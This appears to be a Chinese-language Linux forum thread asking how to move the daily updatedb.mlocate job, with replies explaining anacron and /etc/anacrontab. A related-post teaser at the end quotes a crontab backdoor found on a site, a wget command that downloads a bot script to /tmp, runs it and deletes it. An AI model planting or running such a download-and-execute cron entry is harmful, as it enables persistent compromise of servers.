Reschedule updatedb.mlocate - Linux

Lydia avatar
By Lydia
at 2014-10-03T07:42

Table of Contents

我的系統(Ubuntu 14.04)每天早上六點多都會自動執行updatedb.mlocate
我想把他改到晚上九點多執行
有試著修改/etc/crontab如下,卻沒有預期的效果,重開機也一樣:

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
0 21 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --rep
ort /etc/cron.daily )
22 21 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --rep
ort /etc/cron.weekly )
27 21 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --rep
ort /etc/cron.monthly )
#

不知道我哪裡弄錯了,請指教

--
Tags: Linux

All Comments

Regina avatar
By Regina
at 2014-10-04T20:12
請先理解anacron倒底是什麼...
後面那三行在有anacron的狀態下是裝飾用的
Frederic avatar
By Frederic
at 2014-10-07T20:27
如果要強制指定locate db更新時間就把
他從cron.daily移除 然後手動加進crontab裡
Gary avatar
By Gary
at 2014-10-12T00:00
如果要改變整個anacron可運行時間就改/etc/anacrontab
不過這看你到底為何要改這時間了...
Kelly avatar
By Kelly
at 2014-10-16T03:04
如果要避開特定時段浪費資源...
其實locate都不該用了
如果是怕那時段沒開機不會跑到 這部分anacron會處理

一張網卡多IP的顯示

Noah avatar
By Noah
at 2014-10-03T00:06
鳥哥有教ifconfig eth0:0 這種可以綁定多IP的方式,不過如果是用 /etc/sysconfig/network-script/ifcfg-eth0 裡面設定 IPADDR1= IPADDR2= 這種, ifconfig裡面找不到ADDR2以後的IP,請問有辦法顯示其他IP嗎? 此外,這兩種I ...

ubuntu 12.04 php5 問題

Ina avatar
By Ina
at 2014-10-02T21:11
本來使用14.04版本,但是我想用比較舊版本的php,所以改用12.04,但是卻發生一個問題 我安裝php5-mysql過程會出現 update-rc.d: warning: php5-fpm stop runlevel arguments (0 1 6) do not match LSB Default-S ...

postfix about transport設定問題

Robert avatar
By Robert
at 2014-10-02T17:04
請問一下有關postfix問題 是否可以於postfix系統下設定smtp relay 分流 例如: aattest.com.tw relay:[smtp1.test.com.tw] battest.com.tw relay:[smtp2.test.com.tw] 我check po ...

RVM is not a function

Donna avatar
By Donna
at 2014-10-02T10:50
※ [本文轉錄自 Ruby 看板 #1KBBocgf ] 作者: ireullin (raison detre) 看板: Ruby 標題: [問題] RVM is not a function 時間: Thu Oct 2 10:46:58 2014 小弟想試著用JRuby去跑ROR 執行rvm use ...

被植入後門

Poppy avatar
By Poppy
at 2014-10-01T11:18
我的站台的crontab 被寫入 atweekly wget http://x/bots/regulat.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh andgt; /dev/null 2andamp;1 目前已知不影響主機,因為URL已經失效了。 PS.貼出來的UR ...